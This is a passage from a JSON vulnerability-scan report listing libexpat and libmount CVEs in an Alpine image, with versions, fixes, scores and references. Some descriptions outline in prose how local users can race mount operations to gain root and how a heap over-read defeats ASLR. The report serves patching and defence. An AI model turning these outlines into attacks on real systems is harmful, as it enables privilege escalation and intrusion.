"V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76956", "https://github.com/libexpat/libexpat/pull/1326", "https://github.com/libexpat/libexpat/pull/1329", "https://nvd.nist.gov/vuln/detail/CVE-2026-76956", "https://www.cve.org/CVERecord?id=CVE-2026-76956" ], "PublishedDate": "2026-08-20T05:16:29.61Z", "LastModifiedDate": "2026-09-08T21:08:20.697Z" }, { "VulnerabilityID": "CVE-2026-76957", "PkgID": "libexpat@2.8.1-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9b3a7621208f28cf" }, "InstalledVersion": "2.8.1-r0", "FixedVersion": "2.8.4-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76957", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:ab059e39cc74719e2220de38bd9bb1552e94b1ca0779e99249101b08082d3d95", "Title": "libexpat: libexpat: Memory corruption vulnerability allows arbitrary code execution or denial of service", "Description": "libexpat before 2.8.4 lacks handler call depth tracking with custom encoding callbacks. Thus, a use-after-free can occur. NOTE: this is similar to CVE-2026-50219, CVE-2026-56131 and CVE-2026-56412.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "V3Score": 4.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76957", "https://github.com/libexpat/libexpat/pull/1322", "https://github.com/libexpat/libexpat/pull/1329", "https://nvd.nist.gov/vuln/detail/CVE-2026-76957", "https://ubuntu.com/security/notices/USN-8813-1", "https://www.cve.org/CVERecord?id=CVE-2026-76957" ], "PublishedDate": "2026-08-20T05:16:29.747Z", "LastModifiedDate": "2026-09-08T20:56:31.86Z" }, { "VulnerabilityID": "CVE-2026-77214", "PkgID": "libexpat@2.8.1-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9b3a7621208f28cf" }, "InstalledVersion": "2.8.1-r0", "FixedVersion": "2.9.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-77214", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:26cfd999746a246308996d8893d02cb485d96d92359c826377dd7b4256f02b2f", "Title": "expat: expat: Information disclosure via heap buffer over-read in XML_ParseBuffer", "Description": "libexpat before commit 13c5f63 contains a heap buffer over-read vulnerability in xmlparse.c. XML_ParseBuffer advances the parse buffer end with parser-\u003em_bufferEnd += len using a caller-supplied length that is not validated against the allocated buffer size, so repeated XML_ParseBuffer calls move m_bufferEnd past the end of the heap allocation and subsequent parsing reads out of bounds. Reaching this path requires a parse buffer to already be present; otherwise XML_ParseBuffer returns XML_ERROR_NO_BUFFER. A buffer is present after a prior call to XML_GetBuffer, either directly (the common case) or indirectly through a prior XML_Parse call that allocates the buffer internally. The over-read discloses adjacent heap memory to the calling application, recovering heap pointers, libc function pointers, and code pointers sufficient to defeat ASLR and build further exploitation primitives.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:88247", "https://access.redhat.com/security/cve/CVE-2026-77214", "https://bugzilla.redhat.com/2543288", "https://bugzilla.redhat.com/2547476", "https://bugzilla.redhat.com/show_bug.cgi?id=2543288", "https://bugzilla.redhat.com/show_bug.cgi?id=2547476", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-77214", "https://errata.almalinux.org/9/ALSA-2026-88247.html", "https://errata.rockylinux.org/RLSA-2026:88247", "https://github.com/libexpat/libexpat/commit/13c5f63a7f1c52c2feee3b16a1134d4fb68e9ea0", "https://github.com/libexpat/libexpat/pull/1393", "https://linux.oracle.com/cve/CVE-2026-77214.html", "https://linux.oracle.com/errata/ELSA-2026-92323.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-77214", "https://www.cve.org/CVERecord?id=CVE-2026-77214", "https://www.vulncheck.com/advisories/libexpat-heap-buffer-over-read-in-xmlparse-c-via-xml-parsebuffer" ], "PublishedDate": "2026-10-07T15:17:53.327Z", "LastModifiedDate": "2026-10-10T03:17:08.487Z" }, { "VulnerabilityID": "CVE-2026-93990", "PkgID": "libexpat@2.8.1-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9b3a7621208f28cf" }, "InstalledVersion": "2.8.1-r0", "FixedVersion": "2.8.5-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93990", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:762da0028209a5d24cffb5feb846e66f2b2d2a6750593b8e6ea25e36ffaf82ba", "Title": "expat: Expat: XML Injection via Malformed UTF-16 Input", "Description": "Expat before 2.8.5 fails to validate that a high surrogate in UTF-16 input is followed by a low surrogate, allowing malformed UTF-16 sequences to be accepted. Attackers can supply UTF-16 encoded XML containing lone high surrogates that consume the following code unit, causing Expat to pass unpaired surrogates to applications built with XML_UNICODE and to silently replace input characters in other builds.", "Severity": "HIGH", "CweIDs": [ "CWE-176" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:72663", "https://access.redhat.com/security/cve/CVE-2026-93990", "https://blog.hartwork.org/posts/expat-2-8-5-released/", "https://bugzilla.redhat.com/2538967", "https://bugzilla.redhat.com/show_bug.cgi?id=2517901", "https://bugzilla.redhat.com/show_bug.cgi?id=2538967", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-66046", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93990", "https://errata.almalinux.org/9/ALSA-2026-72663.html", "https://errata.rockylinux.org/RLSA-2026:72663", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/commit/ff6e1d7e750bbe245178f51a47a965dc8342861a", "https://github.com/libexpat/libexpat/pull/1282", "https://github.com/libexpat/libexpat/releases/tag/R_2_8_5", "https://linux.oracle.com/cve/CVE-2026-93990.html", "https://linux.oracle.com/errata/ELSA-2026-74001.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93990", "https://www.cve.org/CVERecord?id=CVE-2026-93990", "https://www.vulncheck.com/advisories/expat-through-2.8.4-malformed-utf-16-acceptance-via-unchecked-surrogate" ], "PublishedDate": "2026-09-19T23:17:10.203Z", "LastModifiedDate": "2026-09-28T17:17:53.037Z" }, { "VulnerabilityID": "CVE-2026-53612", "PkgID": "libmount@2.42.1-r0", "PkgName": "libmount", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libmount@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c798f816f67f2112" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:768630e39541a21fa80da0e9cf2a9ba7d25b79fb4856058fd90068abccf355e8", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "PkgID": "libmount@2.42.1-r0", "PkgName": "libmount", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libmount@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c798f816f67f2112" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:4f8fd896c6b08b0c2fa93fe42f7349374a6c1a9f152c8a7e787291b3fa2bcb09", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "PkgID": "libmount@2.42.1-r0", "PkgName": "libmount", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libmount@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c798f816f67f2112" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:b7f64445d77d54dca80f2107efe075a64a6d7c98e45a9f1fc0c8ea97ac2edfec", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "libmount@2.42.1-r0", "PkgName": "libmount", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libmount@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c798f816f67f2112" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:d4249d2242ed96ef09661db61b3e1d66e2b9d9d44f836304c0d1321250153f42", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "libmount@2.42.1-r0", "PkgName": "libmount", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libmount@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c798f816f67f2112" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:9ebe5e172c4650c73dd732cc2f9f0f9ae06ee6fbb8857e400c4ffced20e6b654", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", 